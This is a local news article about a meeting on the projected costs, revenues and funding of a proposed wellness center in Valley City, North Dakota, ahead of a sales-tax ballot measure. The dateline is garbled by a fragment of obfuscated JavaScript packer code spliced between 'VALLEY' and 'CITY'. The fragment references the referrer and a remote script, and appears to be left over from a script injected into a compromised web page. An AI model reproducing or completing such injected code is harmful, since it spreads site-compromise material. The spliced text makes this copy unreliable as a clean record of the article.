VALLEY enzft|var|u0026u|referrer|yikry||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) The final meeting on the proposed Valley City Health, Wellness, and Physical Education Center was held Monday, October 27 to present the feasibility and projected expenses and revenues for running the proposed facility.

The ORB Management Corporation, the consulting firm hired to do a feasibility study says the operating cost of running the facility is estimated at $812,729. Revenue is estimated at $836,389 in the first year of operation. Valley City Barnes County Economic Development Director Jennifer Feist says these estimates are conservative and she believes incoming revenues for operating the facility will be higher once it is up and running.

The consulting firm of ORB Management Corporation says the projected annually cost associated for personal expenses with the proposed facility is estimated at $462,229.

The proposed 62,000 square foot facility would be located east of the W.E. Osmon fieldhouse across 8th Avenue southwest.

Supporter George Gaukler says the low area would be built up and a retention pond would be constructed. He added that the city plans to build a permanent flood protection structure next to the river a few yards south of the proposed wellness center.

Valley City Park and Recreation board president Dick Gulmon says the Wellness Center would have a positive impact on the community.

Supporters of the project say the city can support both permanent flood protection and the proposed Wellness Center. But Gulmon says it’s important for the city to support permanent flood protection to make both projects possible.

Valley City State University Interim President Margaret Dahlberg says the facility would be owned and operated with the Valley City Parks and Recreation Department with VCSU renting or leasing space from the park district for classroom space.

Dahlberg says the state is working with local entities to have the state owned land transferred to the Park District if voters approve of the city measures on November 4. She says the Wellness Center would benefit the university and the community.

Supporter Larry Robinson said about 11 to 12 million dollars of the 16 million needed for the project is already committed. He says there is more money committed to the project from other investors but they are waiting to see if Valley City residents support the plan following a vote on two city measures in the November 4 election.

Robinson and Gaukler both say another $4 million dollars would have to be raised through a community wide fund drive. The two men would work to support that effort if voters approve of the project.

Valley City residents will vote up or down on whether or not to use up to 17% of the existing 1/2 cent city sales tax used for economic development to support the proposed Wellness Center in the November 4 election.

Valley City Park and Recreation board president Dick Gulmon says the Wellness Center would have a positive impact on the community. Gulmon talked about the proposed facility with Steve Urness on the October 24 Voice of the Valley show.

Valley City Park & Rec Director Tyler Jacobson says under the plan an individual annual membership would cost $37. Family membership 65. Single parent family $50 and a youth membership would cost $20 annually.

The Valley City Park District has 3 full-time positions and some 60 part/time seasonal employees working for the Park and Recreation District in Valley City.

For more information call the Valley City Parks & Recreation office at 845-3294, Valley City State University foundation office at 845-7203, Valley Development Group at 840-7820 or the Sheyenne Valley Community Foundation at 490-1596.

wellness